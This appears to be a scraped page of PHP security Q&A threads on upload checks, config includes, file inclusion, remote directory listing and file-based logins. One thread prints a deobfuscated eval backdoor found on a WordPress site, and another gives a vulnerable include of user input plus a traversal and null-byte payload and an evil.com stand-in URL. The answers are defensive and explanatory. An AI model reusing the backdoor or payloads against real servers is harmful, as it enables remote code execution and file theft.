How does is_uploaded_file() add security? - php

I understand it as the function works against the
$_FILES['nn']['tmp_name']
This tmp_name is created by php at server and cannot (from my understanding) be manipulated by the client. In what sense does the function is_uploaded_file() add security?
SOURCE CODE:
/* {{{ proto bool is_uploaded_file(string path)
Check if file was created by rfc1867 upload */
PHP_FUNCTION(is_uploaded_file)
{
char *path;
size_t path_len;
if (!SG(rfc1867_uploaded_files)) {
RETURN_FALSE;
}
ZEND_PARSE_PARAMETERS_START(1, 1)
Z_PARAM_STRING(path, path_len)
ZEND_PARSE_PARAMETERS_END();
if (zend_hash_str_exists(SG(rfc1867_uploaded_files), path, path_len)) {
RETURN_TRUE;
} else {
RETURN_FALSE;
}
}

This is the best information I could find...
According to the book Essential PHP Security by Chris Shiflett:
If your code uses tmp_name without verifying that it is in fact the uploaded file (and not something like /etc/passwd), a theoretical risk exists. I refer to this as a theoretical risk because there is no known exploit that allows an attacker to modify tmp_name. However, don't let the lack of an exploit dissuade you from implementing some simple safeguards.
However, keep in mind that this was published Oct 20, 2005. I am not aware of any exploits that have since surfaced, or what the details surrounding the "theoretical" exploit are. He also talks about it here.
There is a similar question on security stack exchange for further reference.

This is really mostly a sanity check for you, the programmer. There's nothing really any user ("hacker") could do that would make tmp_name refer to anything but the just uploaded file. However, in your code you may be passing file names around in complex ways; to avoid programming mistakes in such scenarios, is_uploaded_file gives you a tool to check whether you're really working with a file which was just uploaded, or whether you're trying to work with some other file. In the latter case, if your code mistakenly [under certain circumstances] works with any file instead of just uploaded files, an attacker may be able to exploit that mistake and gain access to files they shouldn't.

Related

How to safely evaluate a file's contents before including it in PHP

I am using PHP files returning arrays as a means of configuration.
To process these configuration files I made a class to search the provided configuration directories for PHP files and store their values in a configuration container using include().
Now I was just wondering about the safety of this method.
What if somebody puts malicious code inside one of these files?
What would be the safest way to evaluate these files before including them and potentially triggering unwanted side effects?
I was thinking about using file_get_contents() to load the file as a string and look for any function calls, but I don't want to restrict users from using functions to resolve, for instance, conditional configuration values.
This is the current code, just for an idea of the workings:
public function load(): void
{
$iterator = $this->createFinder()->getIterator();
foreach ($iterator as $file) {
$config = include $file;
if (! is_array($config)) {
throw new \RuntimeException("Invalid config \"{$file->getRealPath()}\", Config files should return an array.");
}
$this->config[$file->getBasename()] = $config;
}
}
private function createFinder(): Finder
{
$this->finder = (new Finder())
->in($this->directories)
->files()
->name('*.php');
return $this->finder;
}
Don't bother with any kind of "security" checks. Simply, you should never, ever include, require or eval the contents of a non-trusted file.
Configuration files are not something where "somebody could put malicious code into". If they are, something is seriously broken with the application setup; and that's what needs fixing, not trying to add half-baked "security" checks to account for this glaring security problem.
Configuration should only be performed by someone with the appropriate security clearance. If the person or persons responsible for deploying/configuring the application are your antagonists, then it's already too late too worry about security.
If you want to have a "friendly" configuration format and not worry about the security implications of third party users providing this configuration, provide a way to configure the application with non-runnable code. E.g. parsing text files, XML, ini files, etc.
Configuration still should be performed by trusted application users, but at least they won't be able to execute arbitrary code on the server (without resorting to an exploit).

What does this (virus?) code do?

I found some code that I did not write in my public_html folder on my WordPress site. After a bit of effort, I was able to get it into a somewhat readable state, but it's still beyond me what it does. Could anyone with a better understanding tell me what this code was supposed to be doing?
If it helps, it had also overwritten my index.php file with this code, as well as had several references to a strange .ico file.
foreach (array_merge($_COOKIE, $_POST) as $key => $value) {
function fun1($key, $valueLength)
{
$keyGuid = $key . "49d339b2-3813-478a-bfa1-1d75be92cf49";
$repeatTimes = ($valueLength / strlen($key)) + 1;
return substr(str_repeat($keyGuid, $repeatTimes), 0, $valueLength);
}
function packToHex($inputToPack)
{
return #pack("H*", $inputToPack);
}
function fun3($exploded)
{
$modCount = count($exploded) % 3;
if (!$modCount) {
eval($exploded[1]($exploded[2]));
exit();
}
}
$value = packToHex($value);
$bitwiseXor = $value ^ fun1($key, strlen($value));
$exploded = explode("#", $bitwiseXor);
fun3($exploded);
}
Short answer: It is backdoor, it allows to execute arbitrary code on the server side.
Note: all you need to see is that it has eval and takes input from the user.
What arbitrary code? Whatever they want.
Long answer:
It will take data from $_COOKIE and $_POST as you can see. This data comes from the user. We can infer that this code was designed for a malicius user recieve data (which, either the malicius user will send directly, or via a bot).
What does it dose with this data? Well, it will over all the input, one by one, and try to:
$value = packToHex($value); Interpret it as an hexadecimal string and covert it to its binary representation. Silently fail if it isn't an hexadecimal string.
$bitwiseXor = $value ^ fun1($key, strlen($value)); apply a cheap cipher over it. This is a symetric substitution cipher, it depends on $key and the hard coded guid 49d339b2-3813-478a-bfa1-1d75be92cf49. We can asume that who injected this code knows the guid and how to cipher for it (it is exactly the same code).
$exploded = explode("#", $bitwiseXor); We then separate the result by the character "#".
And fun3($exploded); interpret it as code (see [eval][1]).
If all succedes (meaning that the input from the user was such that it triggered this process), then it will exit, so that it flow of execution never reaches your code.
Now, somebody injected this code on the server. How did they do it? I do not know.
My first guess is that you have some vulnerability that allows them to upload PHP code (perhaps you have a file upload function that will happilly take PHP files and put them in a path where the user can cause the server to run them).
Of course, there are other posibilities... they may have brute forced the login to your ftp or admin login, or some other thing that would allow them to inject the code. Or you may be running some vulnerable software (an outdated or poorly configured WordPress or plugin, for example). Perhaps you downloaded and used some library or plugin that does watherver but is compromised with malware (there have been cases). or perhaps you are using the same key as your email everywhere, and it got leaked from some other vulnerable site... or, this was done by somebody who works with you and have legitimate access, or something else entirely...
What I am saying is that... sure remove that code from your server, but know that your server is vulnerable by other means, otherwise it wouldn't have got compromised in the first place. I would assume that whoever did this is out there, and may eventually notice you took it down and compromise your server again (Addendum: In fact, there could be some other code in your server that puts it back again if it is not there).
So go cover all your bases. Change your passwords (and use strong ones). Use https. Configure your server properly. Keep your software up to date.
If you have custom PHP code: Validate all input (including file uploads). Sanitize whatever you will send back to the user. Use prepared sentences. Avoid suspicius third party code, do not copy and paste without understanding (I know you can do a lot without really understanding how it works, but when it fails is when you really need the knowledge).
Addendum:
If you can, automate updates and backups.
Yes, there are security plugins for WordPress, and those can go a long way in improving its security. However, you can always configure them wrong.

PHP Include security with String Before Variable

Lets say example.com has a front end with this HTML:
<form action='this.php' method='post'>
<input type='hidden' value='test' name='post'>
<input type='submit' value='Test'>
</form>
and this.php included something along the lines of:
if (isset($_POST['post'])) {
include 'test_' . $_POST['post'] . ".php";
}
With the above setup, how would someone execute a malicious include, or attempt any sort of directory traversal, if the string 'test_' was attached to the beginning of it?
if they entered /../../, include would read it as 'test_/../../', and fail, if they used a url, include would get 'test_http://evil.com/badcode.php' and fail again.
How would someone get around the proceeding string to execute remote includes, or change its directory?
Sidenote: I do know how to sterilize strings, and other security steps to completely avoid this. This is simply out of curiosity, and from what I know now, I don't think it would be possible.
This is not really a good practice and always remember , Never trust user input !
Keeping that in mind, you should never pass a user-input to an include language construct.
From your code, it is somewhat clear that directory traversals leads to 404. However, there maybe some smart wicked geeks out there to bypass and perform a RFI attack.
So a better advice is.. Don't send user input directly to an include() construct.
File streams are typically abused in one of two ways. LFI, and RFI (Local file inclusion / Remote file inclusion respectively) or generally MFI (Malicious file inclusion). Often it's used to pipe local files such as /etc/passwd or log files.
RFI is much more dangerous, this is a possiblity if allow_url_fopen is on This allows a hacker to include a remote file into your environment. In the above example, it is combined with null byte injection in order to disregard the concatenation.
There is many methods of manipulating the string to do various things, for example including php://input or php://filter
if they entered /../../, include would read it as 'test_/../../', and fail […]
This is actually only true for Unix-based systems but works on Windows as it does the path resolution only on the given path and not on the actual file system structure. Windows doesn’t care whether one of the unresolved path segments exists as long as the resolved path exists.
Furthermore, up to certain PHP versions, not all file system functions where binary-safe and a null byte could end the string and remaining bytes were omitted.
So concluding, depending on the operating system and the PHP version, your script may be exploited to include arbitrary files using the following pattern:
post=/../../../../windows/win.ini%00

Options for reading a remote directory

I have a script that displays images based on certain conditions. When none of the conditions are met, I want to randomly display one of the standard (backup) images. Those other images are on a remote server. I have read that you can't read a directory on a remote server, which makes sense.
Is my best bet to place a file into the remote server's image directory that outputs all of the image file names so I can parse it with the other server? Is there an easier way?
I prefer not to use FTP (http://php.net/manual/en/book.ftp.php).
What are my options for basically just getting the names of the images in that folder?
Thanks,
Ryan
UPDATE:
#mario's answer is lightweight and works like a charm. It is exactly the solution I thought I wanted, but after thinking about it some more, and reading that even #mario would do it differently, I decided to go with #bensiu's answer, because to me, control and security are more important than convenience. With #mario's method, it's very hard to know if the data you're getting is any good (lack of control) and you're exposing your directory / some server information (security). #bensiu's suggestion involves a second file (inconvenience), but provides the control and security I'm ultimately deciding to go with!
Thank you both!
-Ryan
I would prefer an exact and dedicated handler script like #bensiu pointed out.
But an alternative would be to read out a directory listing. A simple Apache generated mod_index listing would be sufficient for:
$html = file_get_contents("http://example.com/images/");
preg_match_all('/<a href="([-\w\d.]+\.(jpeg|png|gif))"/', $html, $uu);
$files = $uu[1];
I hope you at least have access to remote server...
You can place there script "A" that will do the job locally, return list of images in preffered format ( raw text, JSON, XML... ), and this script will be remotly called by curl form your server....
It also wise to make sure that when you call script "A" you at least passing some secret key to prevent unathorised access (not perfect solution but could be enought)
if you have PHP5 and the HTTP stream wrapper enabled on your server, it's very easy and simple to copy it to a local file:
copy('http://somedomain.com/file.jpeg', '/tmp/file.jpeg');
ome hosts disable copy() function then you can make your own -
<?php
function copyemz($file1,$file2){
$contentx =#file_get_contents($file1);
$openedfile = fopen($file2, "w");
fwrite($openedfile, $contentx);
fclose($openedfile);
if ($contentx === FALSE) {
$status=false;
}else $status=true;
return $status;
}
?>

lots of files tactics have directory traversal security problem?

If I choose lots of files tactics,
then I become to have directory
traversal security problem?
I need to write login system,
and lots of file tactics means
make lots of id files and use
scandir.
so the directory would have
aaa.txt (contents is aaa_pass)
bbb.txt (contents is bbb_pass)
ccc.txt (contents is ccc_pass)
and when someone enter his id,
the system scandir the directory,
then find the id files.
but hey, what if he enters as
"../../important.txt" ?
then he could access to the ../../important.txt ?
At first glance, it seems like you are going down a somewhat strange path for writing a login system. I'm not sure plain text files in a directory on the filesystem is a wise path to take if for no other other reason than that it's abnormal and you'rer likely to overlook many of the subtleties that are already thought through in more common authentication systems. If you wanted to store the passwords hashed and salted, for instance, you'd need to think through how to implement that in your scheme and you could make a mistake that would lead to a security problem. Using a good PEAR library or even the Zend_Auth component from Zend Framework, though, would give you a clear and well-documented starting point.
Anyway, assuming you have your reasons for the arrangement you describe in your question, the basename() function is likely what you want in this case. It will strip everything but the filename itself so that they can't do a directory traversal attack like you describe in your question.
So if the input from the user is:
../../important
You can run:
$cleanUsername = basename($input);
$filename = '/path/to/password/files/' . $cleanUsername . '.txt';
if (file_exists($filename)) {
[...]
}
Make sense?
You could perform some validation of the username before you use it as part of a path - for example to only allow letters and numbers you could do something like this using a regular expression:
if (!preg_match('/^[a-zA-Z0-9]+$/', $username)) {
//username is not valid
} else {
//username is ok to use
}
Another way you could do it is to hash the username before you read or write it, for example:
$hash = sha1($username);
This way, the user can have anything as their username and there will be no danger of them manipulating the behaviour of your file lookup. A username of "../../important.txt" would give you a hash of "48fc9e70df592ccde3a0dc969ba159415c62658d", which is safe despite the source string being nasty.
If you have no other choice than to use this file-password system (assuming you have to for one reason or another), in addition to creating some kind of obfuscated file names, you may also want create files with the same extension as your server-side language just in case - for example, if you are using PHP, your file name would be john.php (or obfuscated 'john'), and contents might be something like this:
<?php
exit; // or maybe even a header redirect --
/*password goes here*/
?>
Of course your file-read routine will need to parse our the phrase inside the comment block.
This way, if someone DOES somehow arrive at that file, it will never render.

Categories